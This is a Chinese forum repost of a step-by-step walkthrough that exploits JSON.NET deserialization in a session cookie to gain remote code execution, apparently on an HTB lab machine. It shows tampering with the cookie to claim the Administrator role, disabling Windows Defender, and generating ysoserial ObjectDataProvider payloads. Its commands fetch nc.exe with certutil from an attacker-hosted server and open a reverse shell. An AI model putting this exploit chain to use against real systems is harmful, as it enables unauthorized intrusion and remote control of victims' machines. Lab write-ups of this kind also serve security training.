本帖最后由 wangqiang 于 2023-2-8 15:46 编辑
实战 | JSON反序列化到RCE2023-02-06 17:32 发表于北京 介绍序列化是将某些对象转换为可以恢复的数据格式的过程。 反序列化是从某种格式获取结构化数据,并将其重建为对象。如今用于序列化数据的最流行的数据格式是 JSON。 反序列化漏洞是一种在反序列化您发送的数据的过程中能够注入代码并在受害机器中执行的漏洞,最典型的是在使用 Node JS 的应用程序中,但在这种情况下是在 JSON 中。
漏洞检测 要检测此漏洞,您首先需要以 JSON 格式向受害者网站发送数据。测试网站中以 JSON 格式发送的数据存在于网站使用的会话 Cookie 中。查看会话或 cookie,可 以使用 Firefox 和F12 -> Storage,可以看到浏览器会话中拥有的所有会话和 cookie。但是我建议使用 Burpsuite,使用 Burpsuite 代理停止网络请求时,您可以 看到您的 cookie 以 base64 编码传输:
解码后
你可以使用此命令 - echo "base64encodedtext" | base64-d | jq
复制代码
想知道是否存在json反序列化攻击,最重要的是看看改变一个值输出是否也会改变或给出错误,所以我们将尝试改变另一个用户名 s12 - echo '{"Id":1,"UserName":"s12","Password":"21232f297a57a5a743894a0e4a801fc3","Name":"User Admin HTB","Rol":"Administrator"}' | base64 -w 0
复制代码
结果: 本次漏洞检测完毕,该页面存在漏洞。
REC执行命令 有时你需要知道应用程序背后运行的banner,最好的选择是强制错误用来查看来自服务器端的响应。在 base64中创建了这个基本字符串: 我发送到服务器并收到此响应:
制作恶意代码 要执行此步骤,我们将需要一台 Windows 机器,并且只能访问互联网。一旦我们有了 Windows 机器,我们就从这个存储库下载 Releases zip文件: 提取所有 zip 文件后,您可以看到一个名为 Releases 的文件夹,单击内部并查看是否有一个名为 ysoserial.exe 的 exe,如果它在这里,则一切正常。 打开CMD -> 使用cd命令进入ysoserial.exe文件夹-> 执行exe查看帮助菜单 为此,您需要关闭 Windows Defender。如果您在帮助菜单中看到小工具部分,那就完美了,您可以看到 前面当我们强制错误时它试图反序列化 Json.net 中的数据,在这种情况下我们创建恶意代码: - ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping IP_KALI"
复制代码结果
好的,这是代码,但此服务器在 base64 中工作以执行此操作,我将命令修改为: - ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping IP" -o base64
复制代码
结果 我执行此命令在我的 Kali 机器中监听 ping 替换为ping的payload: 执行ping 反弹shell - Kali:
- python3 -m http.server 80ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil.exe -f -urlcache -split http://IP_KALI/nc.exe C:\Windows
- \SysWOW64\Tasks\Microsoft\Windows\PLA\System\ nc .exe " -o base64
复制代码
结果 执行 最后一步是使用 nc.exe 获取反向 shell - Kali:
- rlwrap nc -lvnp 1212
- ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil.exe -f -urlcache -split http://10.10.14.12/nc.exe C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System \nc.exe" -o base64
复制代码结果
结论写完这篇文章告诉你,掌握这种攻击很重要,不仅要利用JSON反序列化,还要了解反序列化攻击的工作原理,还有很多, 如果你想了解更多,可以加安全帮学习群。
|